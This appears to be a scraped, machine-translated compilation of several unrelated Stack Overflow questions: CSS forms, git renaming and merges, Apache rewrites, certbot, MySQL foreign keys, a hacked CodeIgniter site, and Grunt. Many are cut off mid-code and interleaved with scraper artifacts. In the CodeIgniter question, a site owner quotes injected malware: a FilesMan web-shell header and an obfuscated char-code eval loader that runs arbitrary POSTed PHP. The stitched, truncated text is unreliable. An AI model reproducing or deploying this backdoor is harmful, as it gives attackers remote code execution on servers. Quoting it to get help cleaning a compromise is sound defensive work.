我想生成以下表单样式:
Name Email [.................] [.................] Subject [.................] Message [.........................................] [.........................................] [.........................................] [.........................................]
我的HTML代码是:
<form name="message" method="post">
<section>
<label for="name">Name</label>
<input id="name" type="text" value="" name="name">
<label for="email">Email</label>
<input id="email" type="text" value="" name="email">
</section>
<section>
<label for="subject">Subject</label>
<input id="subject" type="text" value="" name="subject">
<label for="message">Message</label>
<input id="message" type="text" value="" name="message">
</section>
</form>
Run Code Online (Sandbox Code Playgroud)
目前它正在生产:
Name [...................] Email [...................] Subject [...................] Message [.........................................] [.........................................] [.........................................] [.........................................]
最好的方法是什么?我一直在混乱我的花车!
我需要更改文件夹和文件的大小写.我尝试的第一件事是重命名文件夹,但Git没有接受更改.所以我尝试使用,git mv -f controller Controller但它说:
fatal: renaming 'application/classes/controller failed: Permission denied
我尝试过设置全局ignorecase标志:
git config --global core.ignorecase false
但它仍然无效.有些人建议将文件夹移出repo,删除,然后重新添加,但当其他人拉回购时,这个更改是否会被接收?还有什么我可以尝试的吗?
编辑:它适用于文件但不适用于文件夹.
目前我使用以下方法重定向除IP 12.345.678.90以外的所有用户:
RewriteEngine On
RewriteCond %{REQUEST_URI} !/maintenance$
RewriteCond %{REMOTE_HOST} !^12\.345\.678\.90
RewriteRule $ /maintenance [R=302,L]
Run Code Online (Sandbox Code Playgroud)
我将使用什么语法来允许范围?在我的允许列表中,我有:
Allow from 123.45.678.90/28
Run Code Online (Sandbox Code Playgroud)
如果我只是将REMOTE_HOST行更新为:
RewriteCond %{REMOTE_HOST} !^12\.345\.678\.90/28
Run Code Online (Sandbox Code Playgroud) 我正在运行,certbot --apache但我收到以下错误:
Starting new HTTPS connection (1): acme-v01.api.letsencrypt.org
Obtaining a new certificate
Performing the following challenges:
Client with the currently selected authenticator does not support any
combination of challenges that will satisfy the CA.
Run Code Online (Sandbox Code Playgroud)
安装的版本0.10.2在Debian 8.10上
我想升级到0.21.0,这应该解决问题https://community.letsencrypt.org/t/certbot-0-21-0-release/50725
但我尝试了apt-get update/upgrade,我得到以下内容:
certbot is already the newest version.
certbot set to manually installed.
Run Code Online (Sandbox Code Playgroud)
有关如何更新的任何建议?
我合并了来自另一个分支的更改,但是我遇到了冲突,因为远程分支上的文件已被删除,但本地分支上的文件已更改.
我想删除该文件 - 我试过git rm path/to/file但它说file: needs merge.删除文件并提交合并的最佳方法是什么?
我在我的服务器上设置了一个git存储库.创建了一个新用户'git'.我的回购位于/srv/git/example.git.我能够git remote add origin git@domain/srv/git/example.git然后添加并提交我的更改.
但是,当我尝试git push origin master失败时:
致命:无法创建临时文件:权限被拒绝'和'致命:sha1文件写入错误:无效参数'
在我运行的服务器上:
sudo chown -R git:git /srv/git/`
Run Code Online (Sandbox Code Playgroud)
这解决了我的问题,但我想知道这是否是正确的做法?
我试图使用以下方法删除一些外键:
ALTER TABLE `table` DROP FOREIGN KEY `fk_table_users1` , DROP FOREIGN KEY `fk_table_accounts1` , DROP FOREIGN KEY `fk_table_data1` ;
Run Code Online (Sandbox Code Playgroud)
但它返回错误:
Error on rename of './db/table' to './db/#sql2-179c-288289' (errno: 152)
Run Code Online (Sandbox Code Playgroud)
我跑SHOW ENGINE INNODB STATUS了说:
120725 12:38:37 Error in dropping of a foreign key constraint of table db/table,
in SQL command
ALTER TABLE `table` DROP FOREIGN KEY `fk_table_users1` , DROP FOREIGN KEY `fk_table_accounts1` , DROP FOREIGN KEY `fk_table_data1`
Cannot find a constraint with the given id fk_table_users1.
Run Code Online (Sandbox Code Playgroud)
SHOW CREATE TABLE …
我有一个codeigniter 2.0.2项目,一直被黑客入侵.有两个主要问题:
index.php文件的开头根据主机,没有FTP日志表明这些文件已上传.
由于没有与恶意文件相关的FTP上传日志 - 这是否意味着它必须是通过网站本身的利用,例如联系或上传表单?
该网站是在共享主机上 - 代码它是同一台服务器上的网站也被黑客攻击,这是导致问题的原因?
如果我将index.php的文件名更改为其他内容会有帮助吗?
由于index.php是越来越修改我应该执行命令chmod 644?
我一直在寻找codeigniter项目的建议权限,但尚未获得任何来源.除了上传/日志目录(777)之外,我在网站上想到644 - 这听起来不错吗?
注入index.php文件顶部的代码:
<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-
然后是一个带有长编码字符串的长preg_replace语句.接下来是第二个声明:
if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}
有一个联系表单和一个表单,用户可以使用CKFinder 2.0.1上传项目.要更新它,看看是否能解决它.
我已经尝试过如何设置你自己的私有git-server-linux和private-remote-git-repositories-ubuntu-linode,但我仍然遇到问题.
我的本地环境是windows和我的远程linux.我有一些问题:
ssh myuser@server.com mkdir .ssh和scp ~/.ssh/id_rsa.pub myuser@server.com:.ssh/authorized_keysmsysGit-netinstall-1.7.4-preview20110204.exe从http://code.google.com/p/msysgit/downloads/list安装的我尝试跳过制作git用户和公钥,在远程计算机上创建了存储库但是当我git remote add origin ssh://[username]@[domain/ip/hostname]/srv/git/[project-name]以root用户身份尝试时它说:fatal: Not a git repository (or any of the parent directories): .git
我的Gruntfile.js档案:
module.exports = function (grunt) {
grunt.initConfig({
pkg : grunt.file.readJSON('package.json'),
requirejs : {
compile: {
options: {
baseUrl: "public_html/js",
mainConfigFile: "public_html/js/config.js",
out: "public_html/app.min.js"
}
}
}
});
grunt.loadNpmTasks('grunt-contrib-requirejs');
grunt.registerTask('default', ['requirejs']);
};
Run Code Online (Sandbox Code Playgroud)
我的config.js档案:
'use strict';
require.config({
deps: ['main'],
paths: {
jquery: 'vendor/jquery',
jquery_tokeninput: 'vendor/jquery.tokeninput',
underscore: 'vendor/underscore',
backbone: 'vendor/backbone'
},
shim: {
jquery: [],
jquery_tokeninput: {
deps: ['jquery']
},
backbone: {
deps: ['vendor/underscore', 'vendor/jquery', 'vendor/jquery.tokeninput'],
exports: 'Backbone'
},
underscore: {
exports: '_'
}
}
});
require(['views/app'], function(AppView) { …Run Code Online (Sandbox Code Playgroud)